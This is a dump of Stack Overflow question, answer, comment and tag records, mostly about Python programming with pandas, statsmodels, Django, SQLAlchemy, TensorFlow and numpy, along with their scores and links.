has body: I need to find the count of letters in each column as follows: String: ATCG TGCA AAGC GCAT string is a series. I need to write a program to get the following: 0 1 2 3 A 2 1 1 1 T 1 1 0 1 C 0 1 2 1 G 1 1 1 1 I have written the following code but I am getting a row in 0 index and column at the end (column index 450, actual column no 451) with nan values. I should not be getting either the row or the column 451. I need to have only 450 columns. f = zip(*string) counts = [{letter: column.count(letter) for letter in column} for column in f] counts=pd.DataFrame(counts).transpose() print(counts) counts = counts.drop(counts.columns450, axis =1) Can anyone please help me understand the issue?
answer count: 2
has answer: http://stackoverflow.com/a/49469938
tagged with: bioinformatics
type: UnansweredQuestion
has title: Finding the count of letters in each column
tagged with: python
has answer: http://stackoverflow.com/a/49469465
tagged with: biopython
score: 2
upvote count: 2
tagged with: pandas
downvote count: 0
favorite count: 0
type: Question

http://stackoverflow.com/comment/86134174
type: AnswerComment
comment on: http://stackoverflow.com/a/49546686
type: Comment
has text: the 3 text files are created but they are empty, also I got this error: ValueError: could not convert string to float: ' 0.65258 0.52520 0.95356 0.14795 0.36442 1\n'
score: 0

http://stackoverflow.com/q/49443590
has title: Obtaining p values and adjusted R sq(python)
type: Question
has comment: http://stackoverflow.com/comment/85889073
has comment: http://stackoverflow.com/comment/85889344
tagged with: python
has answer: http://stackoverflow.com/a/49443951
type: AnsweredQuestion
tagged with: statsmodels
linked to: http://stackoverflow.com/q/41075098
score: 0
has comment: http://stackoverflow.com/comment/85889221
tagged with: linear-regression
answer count: 1
has comment: http://stackoverflow.com/comment/85889184
has body: From the following linear regression model: model = sm.OLS(Y, X).fit() model.summary() Out[18]: &lt;class 'statsmodels.iolib.summary.Summary'&gt; """ OLS Regression Results ============================================================================== Dep. Variable: RUL R-squared: 0.905 Model: OLS Adj. R-squared: 0.905 Method: Least Squares F-statistic: 1.022e+04 Date: Fri, 23 Mar 2018 Prob (F-statistic): 0.00 Time: 11:47:53 Log-Likelihood: -93208. No. Observations: 18202 AIC: 1.865e+05 Df Residuals: 18185 BIC: 1.866e+05 Df Model: 17 Covariance Type: nonrobust ============================================================================== coef std err t P&gt;|t| [0.025 0.975] ------------------------------------------------------------------------------ Time -0.4470 0.006 -71.190 0.000 -0.459 -0.435 op1 -103.2604 137.952 -0.749 0.454 -373.660 167.139 op2 2784.5138 1027.826 2.709 0.007 769.878 4799.150 s11 -25.3125 2.719 -9.309 0.000 -30.642 -19.983 s12 5.4932 0.919 5.975 0.000 3.691 7.295 s13 2.1081 7.112 0.296 0.767 -11.832 16.048 s14 -0.1587 0.065 -2.458 0.014 -0.285 -0.032 s15 -75.7922 14.461 -5.241 0.000 -104.137 -47.447 s17 -0.9392 0.309 -3.036 0.002 -1.545 -0.333 s20 9.3803 2.895 3.240 0.001 3.706 15.054 s21 26.3017 4.863 5.409 0.000 16.770 35.834 ============================================================================== Omnibus: 2563.379 Durbin-Watson: 0.043 Prob(Omnibus): 0.000 Jarque-Bera (JB): 4099.496 Skew: 0.977 Prob(JB): 0.00 Kurtosis: 4.259 Cond. No. 4.40e+07 Can somebody please show me how to obtain the adjusted r square, and those variables which have p value >0.05?
accepted answer: http://stackoverflow.com/a/49443951

http://stackoverflow.com/comment/111901265
has text: I'm connecting through SSH from my own PC, and I'm still getting `Killed` message
type: Comment
comment on: http://stackoverflow.com/a/50022291
score: 2
type: AnswerComment

http://stackoverflow.com/q/49498056
type: UnansweredQuestion
has body: For the given problem, Modular Fractions: the result is: 2 because and when x is 2 we have (4%3=1) Question: is there a method in python that does this with fractions? I have tried Fraction(1,2) % 3 but the result is &gt; Fraction(1,2)
has comment: http://stackoverflow.com/comment/86000333
tagged with: python
has comment: http://stackoverflow.com/comment/86000413
tagged with: fractions
score: 0
has comment: http://stackoverflow.com/comment/86000290
has answer: http://stackoverflow.com/a/49498924
answer count: 1
tagged with: modular-arithmetic
has comment: http://stackoverflow.com/comment/86000096
has title: Python Modulo arithmetic (remainder) of a fraction
type: Question

http://stackoverflow.com/comment/86234387
has text: Thank you! This is a great answer. One note -- the difference in my score and the `sklearn` score using this solution originates in the way that I was computing a weighted average of scores. If you omit the weighted average portion of the code, the two outputs match to machine precision.
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/49598597
type: Comment

http://stackoverflow.com/q/49527421
has comment: http://stackoverflow.com/comment/102627769
tagged with: python
score: 4
upvote count: 4
linked to: http://stackoverflow.com/q/28515470
downvote count: 0
has body: I got an error,AttributeError: 'WSGIRequest' object has no attribute 'status_code'.I wrote test code, def test_user(self): obj = { "username": "tom", "email": "tom@gmail.com", "password": "" } factory = APIRequestFactory() response = factory.post('http://127.0.0.1:8000/polls/data/', obj) self.assertEquals(response.status_code, 400) but when I run this code,the error happens.I followed this web site http://www.django-rest-framework.org/api-guide/testing/ to write the test code,I think why this error happens.Of course,type of response is different from my ideal one,but what should I do?How can I fix this?
answer count: 1
tagged with: django
has title: AttributeError: 'WSGIRequest' object has no attribute 'status_code'
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49527462
type: UnansweredQuestion

http://stackoverflow.com/q/49522484
type: UnansweredQuestion
answer count: 1
type: Question
tagged with: pandas
score: 0
has body: I've got one large data frame with columns like so: TimeHrs A B SeqNum I want to figure out if the max of A for each group grouped by the SeqNum happens within +/-2 seconds of the max of B. For now, I've got a groupby going for each to obtain the rows of the max values of A and B like so: idxmaxA = df.loc[df.groupby(['SeqNum'])['A'].idxmax()] idxmaxB = df.loc[df.groupby(['SeqNum'])['B'].idxmax()] This gives me two data frames with the indexes/rows of the max of A and B for each group. How would I go about comparing the results to create a column of boolean values testing if the max of A is within 2 seconds of the max of B that I can add to my original dataframe? In my case TimeHrs is 1 second data, so each row is 1 second from the last. Because of this, I thought maybe comparing the index values for each group in idxmaxA falls within +/- 2 rows of the idxmaxB, but I'm not sure how to easily do that.
has title: Create column by comparing two data frames with groupby
has answer: http://stackoverflow.com/a/49523839
tagged with: python

http://stackoverflow.com/a/49482550
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49482525
has comment: http://stackoverflow.com/comment/85967932
has comment: http://stackoverflow.com/comment/85967952
has body: Use transform and return a scalar or Series in the lambda function based on your need: df['valid'] = df.valid.groupby(df.id).transform(lambda g: 'book' if g.eq('book').any() else g) df # id valid #0 1 book #1 1 book #2 1 book #3 2 book #4 2 book #5 2 book #6 3 book #7 3 book #8 3 book #9 4 unknown #10 4 picture
type: Answer
has comment: http://stackoverflow.com/comment/85970928
has comment: http://stackoverflow.com/comment/85968390
has comment: http://stackoverflow.com/comment/85967972
score: 0
has comment: http://stackoverflow.com/comment/85968290
accepted answer of: http://stackoverflow.com/q/49482525

http://stackoverflow.com/a/63858001
score: 7
upvote count: 7
has body: The most important thing to remember is not to pass the size as object but as a tuple in resize function new_image = image.resize((img_width,img_size)) and NOT AS new_image = image.resize(img_width,img_size)
answers question: http://stackoverflow.com/q/49565298
type: Answer
downvote count: 0

http://stackoverflow.com/comment/86136744
score: 0
comment on: http://stackoverflow.com/q/49563382
has text: Thats how the value of splited string/sequence (ex:ATGCG=11) are calculated from the dataframe
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/86080413
score: 1
has text: You beat me to it. That is what just I did (duh) and it worked, thanks!
type: Comment
comment on: http://stackoverflow.com/a/49517149
type: AnswerComment

http://stackoverflow.com/a/49673268
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/86450237
has comment: http://stackoverflow.com/comment/86614856
has comment: http://stackoverflow.com/comment/86450095
has comment: http://stackoverflow.com/comment/86595895
answers question: http://stackoverflow.com/q/49570712
type: Answer
has body: You can simplify your method using (mostly) the built-in query methods of Django which are optimized. More specifically we will use: Subquery and OuterRef methods (for version >= 1.11). An annotation and AVG from Django aggregation. dwithin lookup. F() expression (a detailed use case for F() can be found in my QA style example: How to execute arithmetic operations between Model fields in django We will create a custom Aggregate class to apply our AVG function (method inspired by this excellent answer: Django 1.11 Annotating a Subquery Aggregate) class CustomAVG(Subquery): template = "(SELECT AVG(area_value) FROM (%(subquery)s))" output_field = models.FloatField() and we will use it to calculate the following average: for location in Location.objects.filter(rental_valuation__isnull=True): location.update( rental_valuation=CustomAVG( Subquery( Location.objects.filter( pc__point__dwithin=(OuterRef('pc__point'), D(m=1000)), rental_valuation__isnull=False ).annotate(area_value=F('rental_valuation')/F('floor_area')) .distinct('area_value') ) ) ) Breakdown of the above: We collect all the Location objects without a rental_valuation and we "pass" through the list. Subquery: We select the Location objects that are within a circle of radius=1000m (change that as you like) from our current location point and we annotate on them the cost/m2 calculation (using F() to take the value of columns rental_valuation and floor_area of each object), as a column named area_value. For more accurate results, we select only the distinct values of this column. We apply our CustomAVG to the Subquery and we update our current locations rental_valuation.
has comment: http://stackoverflow.com/comment/86509361
downvote count: 0

http://stackoverflow.com/a/49516755
upvote count: 2
has body: I think need list comprehension with split with all for check all numeric strings: mask = ~df['a'].apply(lambda x: all([s.isnumeric() for s in x.split()])) mask = [not all([s.isnumeric() for s in x.split()]) for x in df['a']] If want check if at least one numeric string use any: mask = ~df['a'].apply(lambda x: any([s.isnumeric() for s in x.split()])) mask = [not any([s.isnumeric() for s in x.split()]) for x in df['a']]
has comment: http://stackoverflow.com/comment/86039969
downvote count: 0
answers question: http://stackoverflow.com/q/49516442
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86080348
has comment: http://stackoverflow.com/comment/86080394
has comment: http://stackoverflow.com/comment/86039801
has comment: http://stackoverflow.com/comment/86040979
type: Answer
has comment: http://stackoverflow.com/comment/86041087
accepted answer of: http://stackoverflow.com/q/49516442
score: 2

http://stackoverflow.com/comment/86172738
comment on: http://stackoverflow.com/q/49582277
type: Comment
has text: it doesn't sound like you need `nargs=?` since each option only takes a single argument
type: QuestionComment
score: 0

http://stackoverflow.com/comment/86204095
comment on: http://stackoverflow.com/q/49598465
type: Comment
type: QuestionComment
score: 1
has text: Wouldn't the amount of spaces required be dependent on the width of your terminal?

http://stackoverflow.com/comment/85948860
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49473059
has text: Note, if you want to extend this to support colour images, you'll have to figure out the position of the colour channel then slice appropriately. As of now this solution doesn't fully support colour images.

http://stackoverflow.com/comment/86039053
score: 1
type: Comment
has text: Mostly a style issue, but I wouldn't bother with the backslash. The `bash` script won't care about an empty line at the start of the script.
type: AnswerComment
comment on: http://stackoverflow.com/a/49516807

http://stackoverflow.com/q/49583640
tagged with: differential-equations
tagged with: convergence
has comment: http://stackoverflow.com/comment/86175379
type: Question
has title: Why isn't this centered fourth-order-accurate finite differencing scheme yielding fourth-order convergence for solving pdes
has answer: http://stackoverflow.com/a/49585271
has comment: http://stackoverflow.com/comment/86178906
has comment: http://stackoverflow.com/comment/86175479
accepted answer: http://stackoverflow.com/a/50416117
has body: I am solving the dissipation equation using a finite differencing scheme. The initial condition is a half sin wave with Dirchlet boundary conditions on both sides. I insert an extra point on each side of the domain to enforce the Dirchlet boundary condition while maintaining fourth-order-accuracy, then use forwards-euler to evolve it in time When I switch from the second-order-accurate stencil to the fourth-order-accurate stencil /12. I do not see an improvement in the rate of convergence when I plot vs an estimate of the error. I wrote and commented a code that shows my problem. When I use the 5 point strategy, my rate of convergence is the same: Why is this happening? Why isn't the fourth-order-accurate stencil helping the convergence rate? I combed over this carefully and I think that there must be some issue in my understanding. # Let's evolve the diffusion equation in time with Dirchlet BCs # Load modules import numpy as np import matplotlib.pyplot as plt # Domain size XF = 1 # Viscosity nu = 0.01 # Spatial Differentiation function, approximates d^u/dx^2 def diffusive_dudt(un, nu, dx, strategy='5c'): undiff = np.zeros(un.size, dtype=np.float128) # O(h^2) if strategy == '3c': undiff[2:-2] = nu * (un[3:-1] - 2 * un[2:-2] + un[1:-3]) / dx**2 # O(h^4) elif strategy == '5c': undiff[2:-2] = nu * (-1 * un[4:] + 16 * un[3:-1] - 30 * un[2:-2] + 16 * un[1:-3] - un[:-4]) / (12 * dx**2 ) else: raise(IOError("Invalid diffusive strategy")) ; quit() return undiff def geturec(x, nu=.05, evolution_time=1, u0=None, n_save_t=50, ubl=0., ubr=0., diffstrategy='5c', dt=None, returndt=False): dx = x[1] - x[0] # Prescribde cfl=0.1 and ftcs=0.2 if dt is not None: pass else: dt = min(.1 * dx / 1., .2 / nu * dx ** 2) if returndt: return dt nt = int(evolution_time / dt) divider = int(nt / float(n_save_t)) if divider ==0: raise(IOError("not enough time steps to save %i times"%n_save_t)) # The default initial condition is a half sine wave. u_initial = ubl + np.sin(x * np.pi) if u0 is not No…
tagged with: python
possible better answer: http://stackoverflow.com/a/49585271
has answer: http://stackoverflow.com/a/50416117
has comment: http://stackoverflow.com/comment/86189274
tagged with: calculus
has comment: http://stackoverflow.com/comment/86175474
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/86175919
answer count: 2

http://stackoverflow.com/comment/85948146
score: 0
type: AnswerComment
has text: I'm using other JetBrains product. I think this maybe a bug, but I'm new to python so I can't confirm that it's or not. And I really appreciate your tips. I almost forget to handle the empty tuple.
type: Comment
comment on: http://stackoverflow.com/a/49465964

http://stackoverflow.com/q/49514617
answer count: 2
downvote count: 0
has body: I was executing the below two statements in python interpreter. &gt;&gt;&gt; psutil.cpu_percent(interval=None, percpu=False) 2.0 &gt;&gt;&gt; psutil.cpu_percent(interval=None, percpu=True) [1.5, 1.6, 3.7, 3.5] when percpu=False it is expected to give system-wide CPU usage. However, when I try to get each CPU usage, its sum doesn't equal system-wide usage.My question is how exactly cpu_percent function works when percpu=True and percpu=False is passed?
type: UnansweredQuestion
tagged with: python
tagged with: psutil
upvote count: 6
score: 6
has answer: http://stackoverflow.com/a/49515491
has title: How psutil.cpu_percent() function works?
tagged with: cpu-usage
favorite count: 0
tagged with: python-3.x
type: Question
has answer: http://stackoverflow.com/a/49515840

http://stackoverflow.com/comment/86088960
score: 0
comment on: http://stackoverflow.com/q/49540781
type: QuestionComment
has text: Also you can use (tz_localize)[https://pandas.pydata.org/pandas-docs/stable/generated/pandas.DatetimeIndex.tz_localize.html]
type: Comment

http://stackoverflow.com/q/49502579
has body: I slightly modified the official example for a directed graph and added a cascade='all, delete-orphan as recommended for cascading deletion if the relationship is defined in the child. Still, when I try to delete a parent I get a foreign key constraint error. I want to be able to delete a Node object and all related Edges should also be deleted. Using passive_deletes=True would be preferred, I did not get that to work either. Full sourcecode with my modifications, removed mysql connection data: """a directed graph example.""" from sqlalchemy import Column, Integer, ForeignKey, \ create_engine from sqlalchemy.orm import relationship, sessionmaker, backref from sqlalchemy.ext.declarative import declarative_base Base = declarative_base() class Node(Base): __tablename__ = 'node' node_id = Column(Integer, primary_key=True) def higher_neighbors(self): return [x.higher_node for x in self.lower_edges] def lower_neighbors(self): return [x.lower_node for x in self.higher_edges] class Edge(Base): __tablename__ = 'edge' lower_id = Column( Integer, ForeignKey('node.node_id'), primary_key=True) higher_id = Column( Integer, ForeignKey('node.node_id'), primary_key=True) lower_node = relationship( Node, primaryjoin=lower_id == Node.node_id, backref=backref('lower_edges', cascade='all, delete-orphan')) higher_node = relationship( Node, primaryjoin=higher_id == Node.node_id, backref=backref('higher_edges', cascade='all, delete-orphan')) def __init__(self, n1, n2): self.lower_node = n1 self.higher_node = n2 engine = create_engine('mysql+pymysql:', echo=True) Base.metadata.drop_all(engine) Base.metadata.create_all(engine) session = sessionmaker(engine)() # create a directed graph like this: # n1 -&gt; n2 -&gt; n1 # -&gt; n5 # -&gt; n7 # -&gt; n3 -&gt; n6 n1 = Node() n2 = Node() n3 = Node() n4 = Node() n5 = Node() n6 = Node() n7 = Node() Edge(n1, n2) Edge(n1, n3) Edge(n2, n1) Edge(n2, n5) Edge(n2, n7) Edge(n3, n6) session.add_all([n1, n2, n3, n4, n5, n6, n7]) session.commit() session = s…
has comment: http://stackoverflow.com/comment/86014653
linked to: http://stackoverflow.com/q/19243964
tagged with: directed-graph
tagged with: python
tagged with: mysql
tagged with: sqlalchemy
type: Question
upvote count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86014854
has answer: http://stackoverflow.com/a/49509624
downvote count: 0
answer count: 1
has title: Delete cascade foreign key constraint error with SQLAlchemy
has comment: http://stackoverflow.com/comment/86023155
favorite count: 0
score: 2
tagged with: self-reference

http://stackoverflow.com/comment/85903052
has text: Quote the full, exact, error details. Also, your code is not displaying indents correctly, so won't run.
type: Comment
comment on: http://stackoverflow.com/q/49450452
type: QuestionComment
score: 0

http://stackoverflow.com/q/49559915
type: Question
linked to: http://stackoverflow.com/q/49558133
type: AnsweredQuestion
score: 3
has answer: http://stackoverflow.com/a/49560680
possible better answer: http://stackoverflow.com/a/49560680
has comment: http://stackoverflow.com/comment/86129977
has comment: http://stackoverflow.com/comment/86129663
has comment: http://stackoverflow.com/comment/86129862
tagged with: python
accepted answer: http://stackoverflow.com/a/49561664
has comment: http://stackoverflow.com/comment/86129400
tagged with: apply
linked to: http://stackoverflow.com/q/8748036
has comment: http://stackoverflow.com/comment/86129744
tagged with: python-3.x
has title: Is there a built-in "apply" function (like "lambda f: f()") as there used to be in Python 2?
has comment: http://stackoverflow.com/comment/86129874
tagged with: built-in
answer count: 2
has comment: http://stackoverflow.com/comment/86131607
upvote count: 3
downvote count: 0
tagged with: higher-order-functions
has body: Looking at this question, I realised that it is kind of awkward to use multiprocessing's Pool.map if you want is to run a list of functions in parallel: from multiprocessing import Pool def my_fun1(): return 1 def my_fun2(): return 2 def my_fun3(): return 3 with Pool(3) as p: one, two, three = p.map(lambda f: f(), [my_fun1, my_fun2, my_fun3]) I'm not saying it is exactly cryptic, but I think I expected some conventional name for this, even if only within functools or something, similarly to apply/call in JavaScript (yes, I know JavaScript didn't have lambdas at the time those functions were defined, and no, I'm not saying JavaScript is an exemplary programming language, just an example). In fact, I definitely think something like this should be present in operator, but (unless my eyes deceive me) it seems to be absent. I read that in the case of the identity function the resolution was to let people define their own trivial functions, and I understand it better in that case because there are a couple of different variations you may want, but this one feels like a missing bit to me. EDIT: As pointed out in the comments, Python 2 used to have an apply function for this purpose.
has answer: http://stackoverflow.com/a/49561664
favorite count: 0

routes
type: Tag
tags question: http://stackoverflow.com/q/49465387
tag name: routes
tags question: http://stackoverflow.com/q/49518991

http://stackoverflow.com/comment/86201055
type: Comment
has text: You are already scrolling down through `driver.execute_script("window.scrollTo(0, document.body.scrollHeight);")` what else are you looking for?
type: QuestionComment
comment on: http://stackoverflow.com/q/49596246
score: 0

http://stackoverflow.com/q/49544410
has answer: http://stackoverflow.com/a/49545422
has body: I am using tf.contrib.layers.conv2d so far, but (e.g. to allow for weight decay filters as discussed here) I want to switch to the tf.nn.conv2d implementation. However I am confused regarding the parameters, since apparently I need to specify things that before I haven't. With doc and SO entries I gave it a try. For 4D-Tensors with [batch_size, x, y, channels], are these two versions identical? I.e. am I correct in assuming that input_layer.shape[-1] represents the input_channels as required in filter and that I have to explicitly set strides to the number of dims of my input tensor: with tf.contrib.layers.conv2d (original) down0a = tf.contrib.layers.conv2d(input_layer, n_features, (3, 3)) down0b = tf.contrib.layers.conv2d(down0a, n_features, (3, 3)) down0c = tf.contrib.layers.max_pool2d(down0b_do, (2, 2), padding='same') with tf.nn.conv2d down0a = tf.nn.conv2d(input_layer, filter=[3, 3, input_layer.shape[-1], n_features], strides=[1, 1, 1, 1], padding='SAME') down0ar = tf.nn.relu(down0a) down0b = tf.nn.conv2d(down0ar, filter=[3, 3, down0ar.shape[-1], n_features], strides=[1, 1, 1, 1], padding='SAME') down0br = tf.nn.relu(down0b) down0c = tf.nn.max_pool(down0br, [2, 2, down0br.shape[-1], n_features], strides=[1, 1, 1, 1], padding='SAME')
accepted answer: http://stackoverflow.com/a/49545422
upvote count: 2
answer count: 1
downvote count: 0
tagged with: tensorflow
linked to: http://stackoverflow.com/q/42785026
type: AnsweredQuestion
score: 2
has title: Switching from tf.contrib.layers.conv2d to tf.nn.conv2d
tagged with: python
favorite count: 0
type: Question

http://stackoverflow.com/comment/85963435
comment on: http://stackoverflow.com/q/49480281
type: Comment
has text: So you have a *list* of dictionaries? You need to add an example of *exactly* what you have.
score: 4
type: QuestionComment

http://stackoverflow.com/comment/85924094
comment on: http://stackoverflow.com/a/49460501
has text: Take a look at my example one more time please. I deliberately made first_names all the same numbers because I don't want to consider this array at all. So again: last_names = (3,1,2) . and the output is [1, 2, 0] .That proposes that first must go 2, then 3, and then 1 , which doesn't make any sense to me.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/49553006
has answer: http://stackoverflow.com/a/51605928
has comment: http://stackoverflow.com/comment/86113289
has answer: http://stackoverflow.com/a/53586854
has comment: http://stackoverflow.com/comment/86113411
tagged with: numpy
has comment: http://stackoverflow.com/comment/86202514
has comment: http://stackoverflow.com/comment/86118001
has body: import numpy as np a = np.array([[1,2,3], [4,5,6], [7,8,9]]) b = np.array([[1,2,3]]).T c = a.dot(b) #function jacobian = a # as partial derivative of c w.r.t to b is a. I am reading about jacobian Matrix, trying to build one and from what I have read so far, this python code should be considered as jacobian. Am I understanding this right?
has comment: http://stackoverflow.com/comment/86121736
type: Question
has comment: http://stackoverflow.com/comment/86114938
score: 20
upvote count: 20
has comment: http://stackoverflow.com/comment/86114995
downvote count: 0
tagged with: python
possible better answer: http://stackoverflow.com/a/49553822
has answer: http://stackoverflow.com/a/54954446
answer count: 6
has answer: http://stackoverflow.com/a/49553822
has comment: http://stackoverflow.com/comment/86116644
has answer: http://stackoverflow.com/a/63570554
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86202504
has comment: http://stackoverflow.com/comment/86125205
has answer: http://stackoverflow.com/a/64150237
tagged with: derivative
accepted answer: http://stackoverflow.com/a/51605928
has comment: http://stackoverflow.com/comment/86115330
has title: Compute the Jacobian matrix in Python
has comment: http://stackoverflow.com/comment/86122321
favorite count: 0

http://stackoverflow.com/q/49589647
score: 4
tagged with: flask
favorite count: 0
type: AnsweredQuestion
type: Question
accepted answer: http://stackoverflow.com/a/49589785
has comment: http://stackoverflow.com/comment/86187298
has answer: http://stackoverflow.com/a/49589785
has comment: http://stackoverflow.com/comment/86187167
has comment: http://stackoverflow.com/comment/86187418
tagged with: python
tagged with: sqlalchemy
has title: keyword can't be an expression - filtering in sqlalchemy
upvote count: 4
has body: I create simple database with sqlalchemy class BlogPost(db.Model): id = db.Column(db.Integer, primary_key=True) post = db.Column(db.Text, nullable=False) create_date = db.Column(db.DateTime, nullable=False) create_date is in format (year-month-day h:m:s.ms): 2018-02-20 21:45:37.591733 I used datetime.datetime I'd like to filter for example all posts with year=2018 and here i got problem: posts = BlogPost.query.filter_by(create_date.year=2018) it is possible to use datetime.year but i can't use it as an expression in sqlalchemy filtering, above code returns: SyntaxError: keyword can't be an expression Correct syntax would be: create_date=..., but i need to compare only year, not whole data object Is it possible to do that in a simple way? Any suggestions?
linked to: http://stackoverflow.com/q/1453591
linked to: http://stackoverflow.com/q/2128505
answer count: 1
downvote count: 0

http://stackoverflow.com/comment/86073213
comment on: http://stackoverflow.com/q/49525793
score: 1
type: Comment
has text: Why do you run it as a subprocess in the first place? Would it not be better to run it as part of your program, since it is in Python already?
type: QuestionComment

http://stackoverflow.com/comment/86201604
comment on: http://stackoverflow.com/q/49596853
type: QuestionComment
score: 0
has text: That comes up with d not being defined
type: Comment

http://stackoverflow.com/q/49564153
has comment: http://stackoverflow.com/comment/86138461
tagged with: animation
tagged with: python
linked to: http://stackoverflow.com/q/9401658
has comment: http://stackoverflow.com/comment/86136734
has body: Here is my code: def twomasses(M1,M2,x1,x2,p,h,n): global gamma global m1 global m2 gamma = 1 m1 = M1 m2 = M2 x0_1 = [1, 2] x0_2 = [4, 5] p = 3 v1 = [0, p/m1] v2 = [0, -p/m2] def F(x1, x2): Fa = ((gamma*m1*m2)/(la.norm((x2 - x1),2) ** 3))*(x2 - x1) return Fa def a1(f, m1): a1 = f/m1 return a1 def a2(f, m2): a2 = f/m2 return a2 def ruku_step(F, y, h): #first ruku step k1 = F(y) k2 = F(y + (h/2)*k1) k3 = F(y + (h/2)*k2) k4 = F(y + h*k3) y = y + (h/6)*(k1 + 2*k2 + 2*k3 + k4) return y f = lambda y: np.array([y[2],y[3],a1(F(y[0],y[1]),m1),a2(F(y[0],y[1]),m2)]) y = list() y.append(np.array([x0_1,x0_2, v1, v2])) for i in range(0,n): y.append(ruku_step(f, np.array(y[i]), h)) return y y = twomasses(1,2,-1,2,5,.1, 50) maxy = np.max([e[0:2,1] for e in y]) maxx = np.max([e[0:2,0] for e in y]) minx = np.min([e[0:2,0] for e in y]) miny = np.min([e[0:2,1] for e in y]) fig, ax = plt.subplots() def animate(t): plt.clf() plt.scatter(y[t][0:2,0],y[t][0:2,1]) anim = FuncAnimation(fig, animate, interval=100, frames=100) plt.show() I want to animate the graph so that you can see the movement of the masses. I tried following How to animate a scatter plot? but it is quite complex and wouldnt run for me. This will refresh the graph each time new points are introduced, but I want them all within one graph.
score: 0
has title: Python plotting a scatter plot
tagged with: matplotlib
answer count: 1
has comment: http://stackoverflow.com/comment/86136761
has answer: http://stackoverflow.com/a/49564946
has comment: http://stackoverflow.com/comment/86136624
has comment: http://stackoverflow.com/comment/86138873
type: Question
type: UnansweredQuestion

http://stackoverflow.com/q/49494417
tagged with: python
has body: Try the following: &gt;&gt;&gt; import pandas as pd &gt;&gt;&gt; df=pd.DataFrame([pd.Series(range(100))]*100) &gt;&gt;&gt; df.tail &lt;bound method NDFrame.tail of 0 1 2 3 4 5 6 7 8 9 ... 90 91 92 93 94 95 96 \ 0 0 1 2 3 4 5 6 7 8 9 ... 90 91 92 93 94 95 96 1 0 1 2 3 4 5 6 7 8 9 ... 90 91 92 93 94 95 96 ... The representation of just a bound method is 127 lines and repeats all data: &gt;&gt;&gt; len(repr(df.tail).split('\n')) 127 I have no idea why for instance repr(df.tail) contains a copy of the data. It sounds pointless to me. If you run the following script: import pandas as pd df=pd.DataFrame([pd.Series(range(100))]*100) count = 0 for i in dir(df): s = repr(getattr(df, i)) count += len(s.split('\n')) print(count) you will see that the repr of all df members is 53317 lines! Could anyone explain this to me please?
score: 2
has comment: http://stackoverflow.com/comment/85992564
upvote count: 3
tagged with: pandas
has answer: http://stackoverflow.com/a/49514590
downvote count: 1
answer count: 1
has title: Why repr of pandas dataframe members is so verbose?
favorite count: 0
type: Question
type: UnansweredQuestion

http://stackoverflow.com/a/52727375
answers question: http://stackoverflow.com/q/49522892
upvote count: 0
downvote count: 1
has comment: http://stackoverflow.com/comment/92400535
has body: It seems that tf.nn.depthwise_conv2d as shown here should be the solution.
type: Answer
score: -1

http://stackoverflow.com/q/49564721
has comment: http://stackoverflow.com/comment/86141781
answer count: 1
has comment: http://stackoverflow.com/comment/86139671
has title: kivy not installing and command prompt says syntax error
has comment: http://stackoverflow.com/comment/86139704
has comment: http://stackoverflow.com/comment/86140246
type: Question
has comment: http://stackoverflow.com/comment/86139155
linked to: http://stackoverflow.com/q/49466785
has comment: http://stackoverflow.com/comment/86139100
has comment: http://stackoverflow.com/comment/86137694
has comment: http://stackoverflow.com/comment/86140600
has comment: http://stackoverflow.com/comment/86139057
tagged with: python
tagged with: kivy
has comment: http://stackoverflow.com/comment/86138993
accepted answer: http://stackoverflow.com/a/49566073
has comment: http://stackoverflow.com/comment/86138456
has body: At first I did all of the pip installations for kivy and everything on command prompt said it was successful. Then I realized when kivy wasnt working that python wasnt on path. Then I added it to user variables path using three different paths because I didnt know which one to use. 1 C:\Windows;C:\Windows\System32;C:\Python27 2 "C:\Python27" 3 "C:\Python27\scripts" Now when I go into the command prompt and try to install pip and all of the kivy installations it just says invalid syntax and when I do "python --version" in command prompt it also says that. I am really over my head here. I am completely lost. What do I do? I am sure I am in command prompt and not a python interpreter / shell. When I run as administrator nothing different happens. Still says invalid syntax.
has comment: http://stackoverflow.com/comment/86139328
has comment: http://stackoverflow.com/comment/86138793
has comment: http://stackoverflow.com/comment/86139967
has answer: http://stackoverflow.com/a/49566073
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86137830
score: 0
has comment: http://stackoverflow.com/comment/86139370

http://stackoverflow.com/a/49572974
has comment: http://stackoverflow.com/comment/86153632
has comment: http://stackoverflow.com/comment/86153504
type: Answer
has comment: http://stackoverflow.com/comment/86153758
has body: updated your search function in the following way: def search_bag(x): for k, v in bagpack.iteritems(): if x in v: return k Basically, search for the String in object or array and return the key. Assumption: x being sent in present inexact in the values soemwhere
has comment: http://stackoverflow.com/comment/86153888
has comment: http://stackoverflow.com/comment/86154069
score: 0
has comment: http://stackoverflow.com/comment/86153478
answers question: http://stackoverflow.com/q/49572868
has comment: http://stackoverflow.com/comment/86153562

http://stackoverflow.com/q/49469505
score: 0
has title: Euclidean Algorithm for solving an equation but there is a bug
answer count: 1
type: Question
tagged with: discrete-mathematics
type: UnansweredQuestion
tagged with: python
